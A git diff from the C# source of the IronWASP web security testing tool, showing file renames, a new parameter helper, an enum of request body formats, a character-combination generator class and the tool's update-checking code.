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 + + + \ No newline at end of file diff --git a/IronWASP/BehaviourAnalysis.cs b/Iron/BehaviourAnalysis.cs similarity index 100% rename from IronWASP/BehaviourAnalysis.cs rename to Iron/BehaviourAnalysis.cs diff --git a/IronWASP/BodyFormatParamters.cs b/Iron/BodyFormatParamters.cs similarity index 96% rename from IronWASP/BodyFormatParamters.cs rename to Iron/BodyFormatParamters.cs index 5baa258..89a5448 100644 --- a/IronWASP/BodyFormatParamters.cs +++ b/Iron/BodyFormatParamters.cs @@ -1,64 +1,64 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - internal class BodyFormatParamters - { - internal Request Request; - internal Response Response; - internal FormatPlugin Plugin; - internal string XML; - internal List CheckStatus; - internal bool CheckAll; - - internal BodyFormatParamters(Request Request, FormatPlugin Plugin) - { - this.Request = Request; - this.Plugin = Plugin; - } - internal BodyFormatParamters(Request Request, FormatPlugin Plugin, string XML) - { - this.Request = Request; - this.Plugin = Plugin; - this.XML = XML; - } - internal BodyFormatParamters(Request Request, FormatPlugin Plugin, ListCheckStatus, bool CheckAll) - { - this.Request = Request; - this.Plugin = Plugin; - this.CheckStatus = CheckStatus; - this.CheckAll = CheckAll; - } - internal BodyFormatParamters(Response Response, FormatPlugin Plugin) - { - this.Response = Response; - this.Plugin = Plugin; - } - internal BodyFormatParamters(Response Response, FormatPlugin Plugin, string XML) - { - this.Response = Response; - this.Plugin = Plugin; - this.XML = XML; - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + internal class BodyFormatParamters + { + internal Request Request; + internal Response Response; + internal FormatPlugin Plugin; + internal string XML; + internal List CheckStatus; + internal bool CheckAll; + + internal BodyFormatParamters(Request Request, FormatPlugin Plugin) + { + this.Request = Request; + this.Plugin = Plugin; + } + internal BodyFormatParamters(Request Request, FormatPlugin Plugin, string XML) + { + this.Request = Request; + this.Plugin = Plugin; + this.XML = XML; + } + internal BodyFormatParamters(Request Request, FormatPlugin Plugin, ListCheckStatus, bool CheckAll) + { + this.Request = Request; + this.Plugin = Plugin; + this.CheckStatus = CheckStatus; + this.CheckAll = CheckAll; + } + internal BodyFormatParamters(Response Response, FormatPlugin Plugin) + { + this.Response = Response; + this.Plugin = Plugin; + } + internal BodyFormatParamters(Response Response, FormatPlugin Plugin, string XML) + { + this.Response = Response; + this.Plugin = Plugin; + this.XML = XML; + } + } +} diff --git a/Iron/BodyFormatType.cs b/Iron/BodyFormatType.cs new file mode 100644 index 0000000..2613a90 --- /dev/null +++ b/Iron/BodyFormatType.cs @@ -0,0 +1,17 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public enum BodyFormatType + { + UrlFormEncoded, + Xml, + Soap, + Json, + Multipart, + UnknownBinary, + Unknown + } +} diff --git a/IronWASP/BodyParameters.cs b/Iron/BodyParameters.cs similarity index 95% rename from IronWASP/BodyParameters.cs rename to Iron/BodyParameters.cs index 435b41d..992fb38 100644 --- a/IronWASP/BodyParameters.cs +++ b/Iron/BodyParameters.cs @@ -1,250 +1,262 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public class BodyParameters : Parameters - { - Request Request; - - internal BodyParameters(Request Request) : base() - { - this.Request = Request; - } - internal BodyParameters(Request Request, string BodyString) : base() - { - this.Request = Request; - this.GetParametersFromString(BodyString); - } - - //Set method - new public void RawSet(string Name, string Value) - { - //base.Set(SafeRaw(Name), SafeRaw(Value)); - base.RawSet(Name, Value, SafeRaw, Encode, Decode); - this.ProcessUpdate(); - } - new public void Set(string Name, string Value) - { - this.RawSet(Encode(Name), Encode(Value)); - } - - //Set at method - new public void RawSet(string Name, int Position, string Value) - { - //base.Set(SafeRaw(Name), Position, SafeRaw(Value)); - base.RawSet(Name, Position, Value, SafeRaw, Encode, Decode); - this.ProcessUpdate(); - } - new public void Set(string Name, int Position, string Value) - { - this.RawSet(Encode(Name), Position, Encode(Value)); - } - new public void RawSetAt(string Name, int Position, string Value) - { - this.RawSet(Name, Position, Value); - } - new public void SetAt(string Name, int Position, string Value) - { - this.Set(Name, Position, Value); - } - - //Set multi method - new public void RawSet(string Name, List Values) - { - //List Vals = new List(); - //foreach (string Value in Values) - //{ - // Vals.Add(SafeRaw(Value)); - //} - //base.Set(SafeRaw(Name), Vals); - base.RawSet(Name, Values, SafeRaw, Encode, Decode); - this.ProcessUpdate(); - } - new public void Set(string Name, List Values) - { - List Vals = new List(); - foreach (string Value in Values) - { - Vals.Add(Encode(Value)); - } - this.RawSet(Encode(Name), Vals); - } - - //Add method - new public void RawAdd(string Name, string Value) - { - //base.Add(SafeRaw(Name), SafeRaw(Value)); - base.RawAdd(Name, Value, SafeRaw, Encode, Decode); - this.ProcessUpdate(); - } - new public void Add(string Name, string Value) - { - this.RawAdd(Encode(Name), Encode(Value)); - } - - //Remove method - new public void RawRemove(string Name) - { - //base.Remove(SafeRaw(Name)); - base.RawRemove(Name, SafeRaw, Encode, Decode); - this.ProcessUpdate(); - } - new public void Remove(string Name) - { - this.RawRemove(Encode(Name)); - } - - new public void RemoveAll() - { - base.RemoveAll(); - this.ProcessUpdate(); - } - - //Has method - new public bool RawHas(string Name) - { - //return base.Has(SafeRaw(Name)); - return base.RawHas(Name, SafeRaw, Encode, Decode); - } - new public bool Has(string Name) - { - return this.RawHas(Encode(Name)); - } - - //Get method - new public string RawGet(string Name) - { - //try - //{ - // return base.Get(SafeRaw(Name)); - //} - //catch(Exception Exp) - //{ - // if (Exp.Message.Equals("Parameter not found")) - // { - // //lets check if the name is available in decoded form - // return base.Get(Decode(Name)); - // } - // else - // { - // throw Exp; - // } - //} - return base.RawGet(Name, SafeRaw, Encode, Decode); - } - new public string Get(string Name) - { - return Decode(this.RawGet(Encode(Name))); - } - - //GetAll method - new public List RawGetAll(string Name) - { - //try - //{ - // return base.GetAll(SafeRaw(Name)); - //} - //catch(Exception Exp) - //{ - // if (Exp.Message.Equals("Parameter not found")) - // { - // //lets check if the name is available in decoded form - // return base.GetAll(Decode(Name)); - // } - // else - // { - // throw Exp; - // } - //} - return base.RawGetAll(Name, SafeRaw, Encode, Decode); - } - new public List GetAll(string Name) - { - List Values = this.RawGetAll(Encode(Name)); - for (int i = 0; i < Values.Count; i++) - { - Values[i] = Decode(Values[i]); - } - return Values; - } - - public List RawGetNames() - { - return base.GetNames(); - } - new public List GetNames() - { - List Values = this.RawGetNames(); - for (int i = 0; i < Values.Count; i++) - { - Values[i] = Decode(Values[i]); - } - return Values; - } - - new public List RawGetMultis() - { - return base.RawGetMultis(); - } - new public List GetMultis() - { - List Values = this.RawGetMultis(); - for (int i = 0; i < Values.Count; i++) - { - Values[i] = Decode(Values[i]); - } - return Values; - } - - internal string GetBodyStringFromParameters() - { - char Joiner = '&'; - return this.GetStringFromParameters(Joiner); - } - internal void GetParametersFromString(string BodyString) - { - char Splitter = '&'; - this.AbsorbParametersFromString(BodyString, Splitter); - } - void ProcessUpdate() - { - if (this.Request.FreezeBodyString) return; - this.Request.SetBodyWithoutUpdatingParameters(this.GetBodyStringFromParameters()); - } - - internal static string Encode(string Value) - { - return Tools.UrlEncode(Value); - } - - internal static string Decode(string Value) - { - return Tools.UrlDecode(Value); - } - - internal static string SafeRaw(string Value) - { - return Tools.RelaxedUrlEncode(Value); - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class BodyParameters : Parameters + { + Request Request; + + internal BodyParameters(Request Request) : base() + { + this.Request = Request; + } + internal BodyParameters(Request Request, string BodyString) : base() + { + this.Request = Request; + this.GetParametersFromString(BodyString); + } + + //Set method + new public void RawSet(string Name, string Value) + { + //base.Set(SafeRaw(Name), SafeRaw(Value)); + base.RawSet(Name, Value, SafeRaw, Encode, Decode); + this.ProcessUpdate(); + } + new public void Set(string Name, string Value) + { + this.RawSet(Encode(Name), Encode(Value)); + } + + //Set at method + new public void RawSet(string Name, int Position, string Value) + { + //base.Set(SafeRaw(Name), Position, SafeRaw(Value)); + base.RawSet(Name, Position, Value, SafeRaw, Encode, Decode); + this.ProcessUpdate(); + } + new public void Set(string Name, int Position, string Value) + { + this.RawSet(Encode(Name), Position, Encode(Value)); + } + new public void RawSetAt(string Name, int Position, string Value) + { + this.RawSet(Name, Position, Value); + } + new public void SetAt(string Name, int Position, string Value) + { + this.Set(Name, Position, Value); + } + + //Set multi method + new public void RawSet(string Name, List Values) + { + //List Vals = new List(); + //foreach (string Value in Values) + //{ + // Vals.Add(SafeRaw(Value)); + //} + //base.Set(SafeRaw(Name), Vals); + base.RawSet(Name, Values, SafeRaw, Encode, Decode); + this.ProcessUpdate(); + } + new public void Set(string Name, List Values) + { + List Vals = new List(); + foreach (string Value in Values) + { + Vals.Add(Encode(Value)); + } + this.RawSet(Encode(Name), Vals); + } + + //Add method + new public void RawAdd(string Name, string Value) + { + //base.Add(SafeRaw(Name), SafeRaw(Value)); + base.RawAdd(Name, Value, SafeRaw, Encode, Decode); + this.ProcessUpdate(); + } + new public void Add(string Name, string Value) + { + this.RawAdd(Encode(Name), Encode(Value)); + } + + //Remove method + new public void RawRemove(string Name) + { + //base.Remove(SafeRaw(Name)); + base.RawRemove(Name, SafeRaw, Encode, Decode); + this.ProcessUpdate(); + } + new public void Remove(string Name) + { + this.RawRemove(Encode(Name)); + } + + new public void RemoveAll() + { + base.RemoveAll(); + this.ProcessUpdate(); + } + + //Has method + new public bool RawHas(string Name) + { + //return base.Has(SafeRaw(Name)); + return base.RawHas(Name, SafeRaw, Encode, Decode); + } + new public bool Has(string Name) + { + return this.RawHas(Encode(Name)); + } + + public bool HasValue(string Value) + { + foreach (string Name in this.GetNames()) + { + foreach (string Val in this.GetAll(Name)) + { + if (Val.Equals(Value)) return true; + } + } + return false; + } + + //Get method + new public string RawGet(string Name) + { + //try + //{ + // return base.Get(SafeRaw(Name)); + //} + //catch(Exception Exp) + //{ + // if (Exp.Message.Equals("Parameter not found")) + // { + // //lets check if the name is available in decoded form + // return base.Get(Decode(Name)); + // } + // else + // { + // throw Exp; + // } + //} + return base.RawGet(Name, SafeRaw, Encode, Decode); + } + new public string Get(string Name) + { + return Decode(this.RawGet(Encode(Name))); + } + + //GetAll method + new public List RawGetAll(string Name) + { + //try + //{ + // return base.GetAll(SafeRaw(Name)); + //} + //catch(Exception Exp) + //{ + // if (Exp.Message.Equals("Parameter not found")) + // { + // //lets check if the name is available in decoded form + // return base.GetAll(Decode(Name)); + // } + // else + // { + // throw Exp; + // } + //} + return base.RawGetAll(Name, SafeRaw, Encode, Decode); + } + new public List GetAll(string Name) + { + List Values = this.RawGetAll(Encode(Name)); + for (int i = 0; i < Values.Count; i++) + { + Values[i] = Decode(Values[i]); + } + return Values; + } + + public List RawGetNames() + { + return base.GetNames(); + } + new public List GetNames() + { + List Values = this.RawGetNames(); + for (int i = 0; i < Values.Count; i++) + { + Values[i] = Decode(Values[i]); + } + return Values; + } + + new public List RawGetMultis() + { + return base.RawGetMultis(); + } + new public List GetMultis() + { + List Values = this.RawGetMultis(); + for (int i = 0; i < Values.Count; i++) + { + Values[i] = Decode(Values[i]); + } + return Values; + } + + internal string GetBodyStringFromParameters() + { + char Joiner = '&'; + return this.GetStringFromParameters(Joiner); + } + internal void GetParametersFromString(string BodyString) + { + char Splitter = '&'; + this.AbsorbParametersFromString(BodyString, Splitter); + } + void ProcessUpdate() + { + if (this.Request.FreezeBodyString) return; + this.Request.SetBodyWithoutUpdatingParameters(this.GetBodyStringFromParameters()); + } + + internal static string Encode(string Value) + { + return Tools.UrlEncode(Value); + } + + internal static string Decode(string Value) + { + return Tools.UrlDecode(Value); + } + + internal static string SafeRaw(string Value) + { + return Tools.RelaxedUrlEncode(Value); + } + } +} diff --git a/Iron/BruteForcer.cs b/Iron/BruteForcer.cs new file mode 100644 index 0000000..95eddea --- /dev/null +++ b/Iron/BruteForcer.cs @@ -0,0 +1,151 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class BruteForcer + { + string Characters = ""; + int MinLength = 0; + int MaxLength = 0; + + int CurrrentLength = 0; + List Positions = new List(); + + int Count = 0; + int CurrentPositionCount = 0; + + public int TotalCount + { + get + { + return Count; + } + } + + public BruteForcer(string CharactersP, int MinLengthP, int MaxLengthP) + { + if (CharactersP.Length == 0) + { + throw new Exception("Empty character set specified"); + } + if (MaxLengthP < MinLengthP) + { + throw new Exception("Invalid range specified, maximum length cannot be less than minimum length"); + } + if (MaxLengthP < 1) + { + throw new Exception("Invalid range specified, maximum length cannot be less than 1"); + } + + int i = 0; + while(i < CharactersP.Length) + { + for (int j = 0; j < CharactersP.Length; j++) + { + if (i != j) + { + if (CharactersP[i] == CharactersP[j]) + { + throw new Exception(string.Format("The characters list is not unique, '{0}' appears more than once", CharactersP[i])); + } + } + } + i++; + } + + this.Characters = CharactersP; + if (MinLengthP > 0) + { + this.MinLength = MinLengthP; + } + else + { + this.MinLength = 1; + } + this.MaxLength = MaxLengthP; + + this.CurrrentLength = this.MinLength; + this.Positions = new List(); + for (int ii = 0; ii < this.MinLength; ii++) + { + this.Positions.Add(0); + } + this.Positions[this.Positions.Count - 1] = -1; + + Count = 0; + for (int j = MinLength; j <= MaxLength; j++) + { + Count = Count + (int) Math.Pow(Characters.Length, j); + } + } + + public bool HasMore() + { + if (CurrentPositionCount < TotalCount) + { + return true; + } + else + { + return false; + } + } + + public string GetNext() + { + MoveToNextPosition(); + return GetStringForCurrentPosition(); + } + + string GetStringForCurrentPosition() + { + StringBuilder SB = new StringBuilder(); + for (int i = 0; i < this.Positions.Count; i++) + { + SB.Append(Characters[this.Positions[i]]); + } + return SB.ToString(); + } + + void MoveToNextPosition() + { + if (HasMore()) + { + this.Positions[this.Positions.Count - 1] = this.Positions[this.Positions.Count - 1] + 1; + CurrentPositionCount++; + for (int i = this.Positions.Count - 1; i >= 0; i--) + { + if (this.Positions[i] >= Characters.Length) + { + for (int ii = i; ii < this.Positions.Count; ii++) + { + this.Positions[ii] = 0; + } + if (i == 0) + { + if (this.Positions.Count < this.MaxLength) + { + this.Positions.Insert(0, 0); + return; + } + else + { + throw new Exception("Reached the end of brute force list"); + } + } + else + { + this.Positions[i - 1] = this.Positions[i - 1] + 1; + } + } + } + } + else + { + throw new Exception("Reached the end of brute force list"); + } + } + } +} diff --git a/IronWASP/CheckUpdate.cs b/Iron/CheckUpdate.cs similarity index 97% rename from IronWASP/CheckUpdate.cs rename to Iron/CheckUpdate.cs index 958e986..2f9e8ac 100644 --- a/IronWASP/CheckUpdate.cs +++ b/Iron/CheckUpdate.cs @@ -1,780 +1,780 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.IO; -using System.Net; -using System.Collections.Generic; -using System.Text; -using System.Threading; -using System.Xml; -using Ionic.Zip; - -namespace IronWASP -{ - class CheckUpdate - { - static string CurrentVersion = "0.9.7.1"; - - //static string PluginManifestUrl = "https://ironwasp.org/update/plugin.manifest"; - //static string IronWASPManifestUrl = "https://ironwasp.org/update/ironwasp.manifest"; - - static string PluginManifestUrl = "https://ironwasp.org/update/plugin_manifest.xml"; - static string ModuleManifestUrl = "https://ironwasp.org/update/module_manifest.xml"; - static string IronWASPManifestUrl = "https://ironwasp.org/update/ironwasp_manifest.xml"; - static string ModulesDbUrl = "https://ironwasp.org/update/modules_db.xml"; - - static string ModuleDownloadBaseUrl = "https://ironwasp.org/update/modules/"; - static string PluginDownloadBaseUrl = "https://ironwasp.org/update/plugins/"; - static string IronWASPDownloadBaseUrl = "https://ironwasp.org/update/ironwasp/"; - - static string ModuleManifestFile = ""; - static string PluginManifestFile = ""; - static string IronWASPManifestFile = ""; - static string ModulesDbFile = ""; - - - static List PluginManifestInfo = new List(); - static List IronWASPManifestInfo = new List(); - - static Thread T; - - static bool NewUpdateAvailable = false; - - internal static void CheckForUpdates() - { - T = new Thread(StartCheck); - T.Start(); - } - - static void StartCheck() - { - try - { - Request IronWASPManifestReq = new Request(IronWASPManifestUrl); - IronWASPManifestReq.Source = RequestSource.Stealth; - IronWASPManifestReq.Headers.Set("User-Agent", "IronWASP v" + CurrentVersion); - Response IronWASPManifestRes = IronWASPManifestReq.Send(); - if (!IronWASPManifestRes.IsSslValid) - { - throw new Exception("Invalid SSL Certificate provided by the server"); - } - IronWASPManifestFile = IronWASPManifestRes.BodyString; - - Request ModulesDbReq = new Request(ModulesDbUrl); - ModulesDbReq.Source = RequestSource.Stealth; - ModulesDbReq.Headers.Set("User-Agent", "IronWASP v" + CurrentVersion); - Response ModulesDbRes = ModulesDbReq.Send(); - if (!ModulesDbRes.IsSslValid) - { - throw new Exception("Invalid SSL Certificate provided by the server"); - } - //The ASCII conversion and substring is done to remove the unicode characters introduced at the beginning of the xml. Must find out why this happens. - ModulesDbFile = Encoding.ASCII.GetString(ModulesDbRes.BodyArray); - ModulesDbFile = ModulesDbFile.Substring(ModulesDbFile.IndexOf('<')); - - Request PluginManifestReq = new Request(PluginManifestUrl); - PluginManifestReq.Source = RequestSource.Stealth; - PluginManifestReq.Headers.Set("User-Agent","IronWASP v" + CurrentVersion); - Response PluginManifestRes = PluginManifestReq.Send(); - if (!PluginManifestRes.IsSslValid) - { - throw new Exception("Invalid SSL Certificate provided by the server"); - } - PluginManifestFile = PluginManifestRes.BodyString; - - Request ModuleManifestReq = new Request(ModuleManifestUrl); - ModuleManifestReq.Source = RequestSource.Stealth; - ModuleManifestReq.Headers.Set("User-Agent", "IronWASP v" + CurrentVersion); - Response ModuleManifestRes = ModuleManifestReq.Send(); - if (!ModuleManifestRes.IsSslValid) - { - throw new Exception("Invalid SSL Certificate provided by the server"); - } - ModuleManifestFile = ModuleManifestRes.BodyString; - - SetUpUpdateDirs(); - GetNewIronWASP(); - GetNewModulesDb(); - GetNewPlugins(); - GetNewModules(); - if (NewUpdateAvailable) - { - try - { - Tools.Run(string.Format("{0}\\Updater.exe", Config.RootDir)); - } - catch (Exception Exp) { IronException.Report("Unable to Open IronWASP Updater", Exp); } - } - } - catch(ThreadAbortException) { } - catch(Exception Exp) - { - IronException.Report("Software Update Failed", Exp); - } - } - - static void SetUpUpdateDirs() - { - try - { - Directory.Delete(Config.Path + "\\updates", true); - } - catch { } - try - { - Directory.CreateDirectory(Config.Path + "\\updates"); - Directory.CreateDirectory(Config.Path + "\\updates\\plugins"); - Directory.CreateDirectory(Config.Path + "\\updates\\plugins\\active"); - Directory.CreateDirectory(Config.Path + "\\updates\\plugins\\passive"); - Directory.CreateDirectory(Config.Path + "\\updates\\plugins\\format"); - Directory.CreateDirectory(Config.Path + "\\updates\\plugins\\session"); - Directory.CreateDirectory(Config.Path + "\\updates\\modules"); - Directory.CreateDirectory(Config.Path + "\\updates\\ironwasp"); - } - catch - { - throw new Exception("Unable to create Update directories, update failed"); - } - } - - static void GetNewModules() - { - List ModulesInfo = new List(); - foreach (string Name in Module.ListAll()) - { - string MVersion = Module.GetVersion(Name); - ModulesInfo.Add(new string[]{Name, 